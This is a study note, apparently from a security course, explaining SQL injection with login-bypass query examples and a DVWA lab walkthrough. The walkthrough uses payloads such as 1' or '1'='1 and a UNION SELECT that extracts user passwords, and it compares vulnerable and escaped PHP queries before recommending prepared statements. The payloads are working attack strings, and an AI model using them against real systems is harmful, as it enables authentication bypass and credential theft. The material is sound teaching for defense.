SQL Injection

**SQL 삽입**([영어](https://ko.wikipedia.org/wiki/%EC%98%81%EC%96%B4): SQL Injection, SQL 인젝션, SQL 주입)은 응용 프로그램 보안 상의 허점을 의도적으로 이용해, 악의적인 [SQL](https://ko.wikipedia.org/wiki/SQL)문을 실행되게 함으로써 데이터베이스를 비정상적으로 조작하는 [코드 인젝션](https://ko.wikipedia.org/wiki/%EC%BD%94%EB%93%9C_%EC%9D%B8%EC%A0%9D%EC%85%98) 공격 방법이다.

Attack purpose and affect

<https://m.mkexdev.net/427>

SELECT \* FROM accounts WHERE username = ‘$USERNAME’ and password=’$PASSWORD’

<password injection>

SELECT \* FROM accounts WHERE username = ‘$USERNAME’ and password=’aaa’ or 1=1 #’

<id injection>

SELECT \* FROM accounts WHERE username = ‘admin’ #’ and password=’$PASSWORD’

SELECT \* FROM accounts WHERE username = ‘’ or 1=1#’ and password=’$PASSWORD’

<Detector bypassing>

스크린샷이(가) 표시된 사진

자동 생성된 설명

스크린샷이(가) 표시된 사진

자동 생성된 설명

After entering the false password like this, If you use the proxy, you can change the data to SQL Injection data. Thus, If you do forward in Burp suite, Injection is success.

<Low Security>

$query = “SELECT \* FROM accounts WHERE username=’”. $username.

“’ AND password=’”.$password.

<High Security>

$query = “SELECT \* FROM accounts WHERE username=’”.$conn->real\_escape\_string($username) .“’ AND password=’”.$conn->real\_escape\_string($password).“’”;

real\_escape\_string() : Remove the small quotation ‘ ‘

DVWA SQL Injection

<Original Print>

<http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#>

텍스트이(가) 표시된 사진

자동 생성된 설명

<Low Security>

텍스트이(가) 표시된 사진

자동 생성된 설명

(SQL Injection)

Input: 1' or '1'='1

텍스트이(가) 표시된 사진

자동 생성된 설명

This outcome shows all of the data existing in database.

< Union >

Input: 1' union select user\_id, password from users; --

텍스트이(가) 표시된 사진

자동 생성된 설명

<Union>

🡺 Add and execute a query statement using the Union keyword.

Union: Combines the results of two query statements.

The number of columns and data types of both query statements must be the same.

<Medium Level>

텍스트이(가) 표시된 사진

자동 생성된 설명

This level should use the Proxy to solve the problem.

If you use the Burp Suite (Proxy Tool), the tool can change the data entered value.

<High Level>

텍스트이(가) 표시된 사진

자동 생성된 설명

Input: ' or '1'='1' #

텍스트이(가) 표시된 사진

자동 생성된 설명

This step should use the comment operator (Then, it differs depending on the database.)

Mysql Comment Operator: #

<Impossible>

텍스트이(가) 표시된 사진

자동 생성된 설명

If you use the prepared statement like this, you can block the SQL injection attack.